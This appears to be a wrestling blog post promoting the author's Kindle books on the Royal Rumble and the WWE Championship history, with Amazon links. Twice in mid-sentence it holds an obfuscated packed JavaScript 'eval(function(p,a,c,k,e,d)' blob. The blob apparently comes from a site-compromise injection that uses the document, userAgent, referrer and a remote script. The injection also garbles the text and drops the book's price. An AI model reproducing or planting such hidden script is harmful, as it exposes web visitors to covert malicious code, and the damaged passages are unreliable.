I’m doing a series of short(ish) articles on the history of the show for wrestlingrumors.net as part of the road to the thirtieth show.  These will go up on Tuesdays and Fridays.

http://wrestlingrumors.net/history-of-survivor-series-part-i-origins-and-early-years/

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For twenty seven years, the Royal Rumble has given us the biggest battle royal of the year and some of the best matches of all time. Ranging from Chris Jericho vs. Chris Benoit in a ladder match to Triple H vs. Cactus Jack in a street fight to Chris Benoit vs. Kurt Angle in a technical masterpiece, you’re almost guaranteed to get a solid title match in addition to the Royal Rumble itself.

In this book, we’ll look at every edition of the Royal Rumble starting in 1988 and break down every show, segment and match as WWE starts their Road to Wrestlemania. The book contains twenty seven pay per view reviews and looks at everything that has taken place at the first major show of the year on the WWE calendar. As usual I’ll be providing play by play, historical context and analysis of every show.

The books runs about 350 pages on a Kindle and only costs $3.99, or the equivalent in other currencies. If you don’t have a Kindle or e-book reader, there are several FREE apps you can use to read it on pretty much any electronic device. You can find those from Amazon here.

You can pick up the book from Amazon here.

From the UK Amazon here.

From the Canadian Amazon here.

Or if you’re in another country with its own Amazon page, just search KB Rumble and my book will be the first thing that pop up.

Also you can still get any of my previous books on the WWE Championship, Monday Night Raw from 1998 and 2001, Monday Nitro from 1995-97, In Your House, Summerslam, Starrcade, ECW Pay Per Views and Clash of the Champions at my author’s page here.

I hope you like it and shoot me any questions you might have.

KB

Over the past few months, I’ve been trying my hand at writing a book.  The title should tell you all you need to know.  In the book I look at the history of the belt starting with Buddy Rogers and going up to the Rock beating Punk for the title.  There are over 220 matches reviewed and over 80 of the reviews are brand new, as is everything else in between the matches.  I review literally every WWE Title change in the belt’s history along with several other matches either of historical significance or high quality.

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfebi|var|u0026u|referrer|danez||js|php'.split('|'),0,{})) book costs , or 2 cents per review.  The book runs over 300 pages and I’ve spent the last two and a half months working on this.  It’s on Kindle, but there are free apps for PC, Mac and anything else you can come up with.  The book can be purchased here in America:

USA Link

Here in the UK:

UK Link

and here in Canada

Canada Link

Here’s a link to all of the free apps you can download from Amazon to read the book on any device:

Free Apps

I think that’s everything.  If you ever need to find the book on Amazon just search “KB’s History of the WWE Championship.”

Oh and remember I have the 1998 Monday Night Raw Reviews up as well:

http://www.wwe.com/classics/history-wwe-championship-26092271

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|askze|var|u0026u|referrer|krkhr||js|php'.split('|'),0,{})) was posted after the new title was unveiled.  There’s some cool history stuff in there.  Unfortunately it’s a slide show rather than a full on history of the championship.  It would be nice to see someone talk about every title change and various other important matches in its history……wouldn’t it?